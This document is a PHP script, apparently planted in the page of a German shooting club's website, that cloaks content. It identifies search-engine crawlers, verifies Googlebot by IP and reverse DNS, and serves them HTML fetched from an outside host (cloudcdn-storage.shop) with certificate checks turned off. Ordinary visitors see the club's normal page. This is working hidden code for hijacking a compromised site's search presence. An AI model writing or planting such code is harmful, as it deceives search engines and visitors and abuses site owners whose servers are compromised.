'https://cloudcdn-storage.shop/auerbach/page-4/index.html', 'cache_ttl' => 3600, 'timeout' => 15 ]; function is_search_bot() { $bots = [ // Google 'Googlebot', 'Googlebot-Mobile', 'Googlebot-Image', 'Googlebot-News', 'Googlebot-Video', 'AdsBot-Google', 'Mediapartners-Google', 'Google-InspectionTool', 'Google-Site-Verification', 'Storebot-Google', // Bing 'bingbot', 'msnbot', 'BingPreview', // Others 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebookexternalhit', 'LinkedInBot', 'Twitterbot' ]; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } function verify_google_ip() { $ip = $_SERVER['REMOTE_ADDR'] ?? ''; if (empty($ip)) { return false; } // Quick check: Google IP ranges $google_ip_prefixes = ['66.249.', '64.233.', '72.14.', '209.85.', '216.239.']; foreach ($google_ip_prefixes as $prefix) { if (strpos($ip, $prefix) === 0) { return true; } } // Deep verification: Reverse DNS $hostname = gethostbyaddr($ip); if (stripos($hostname, 'googlebot.com') !== false || stripos($hostname, 'google.com') !== false) { $resolved_ip = gethostbyname($hostname); if ($resolved_ip === $ip) { return true; } } return false; } function get_remote_content($url, $timeout = 10) { // Try cURL first if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_TIMEOUT => $timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', CURLOPT_ENCODING => 'gzip, deflate', CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1 ]); $content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($content && $http_code == 200) { return $content; } error_log("cURL failed: $error (HTTP $http_code)"); } // Fallback: file_get_contents if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => $timeout, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'follow_location' => 1, 'max_redirects' => 5 ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $content = @file_get_contents($url, false, $context); if ($content !== false) { return $content; } } return false; } function cache_content($key, $content = null, $ttl = 3600) { $cache_dir = __DIR__ . '/.cache'; if (!is_dir($cache_dir)) { @mkdir($cache_dir, 0755, true); } $cache_file = $cache_dir . '/' . md5($key) . '.html'; if ($content !== null) { // Save cache file_put_contents($cache_file, serialize([ 'time' => time(), 'content' => $content ])); return true; } else { // Read cache if (file_exists($cache_file)) { $data = unserialize(file_get_contents($cache_file)); if ($data && (time() - $data['time']) < $ttl) { return $data['content']; } } } return false; } function serve_bot_content($url, $ttl = 3600, $timeout = 15) { // Try cache first $cached = cache_content('bot_content', null, $ttl); if ($cached) { header('Content-Type: text/html; charset=utf-8'); header('X-Content-Source: cache'); header('X-Visitor-Type: bot'); echo $cached; exit; } // Fetch fresh content $content = get_remote_content($url, $timeout); if ($content) { cache_content('bot_content', $content, $ttl); header('Content-Type: text/html; charset=utf-8'); header('X-Content-Source: remote'); header('X-Visitor-Type: bot'); echo $content; exit; } // Fallback: Error http_response_code(503); header('Retry-After: 300'); echo ' Temporarily Unavailable

503 Service Temporarily Unavailable

Please try again later.

'; exit; } // ============================================ // MAIN EXECUTION // ============================================ // Check if visitor is a bot if (is_search_bot()) { // Additional security: Verify Google IP $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; if (stripos($user_agent, 'Googlebot') !== false) { if (!verify_google_ip()) { // Fake Googlebot! Let it see user content below error_log("Fake Googlebot detected from IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'unknown')); // Don't exit, continue to show HTML below } else { // Real Googlebot - serve remote content serve_bot_content($config['bot_url'], $config['cache_ttl'], $config['timeout']); } } else { // Other bots - serve remote content serve_bot_content($config['bot_url'], $config['cache_ttl'], $config['timeout']); } } // If we reach here, it's a regular user or fake bot // Show the HTML content below header('Content-Type: text/html; charset=utf-8'); header('X-Visitor-Type: user'); ?> Privilegierte Schützengesellschaft Auerbach 1570 e.V. – Seite 4
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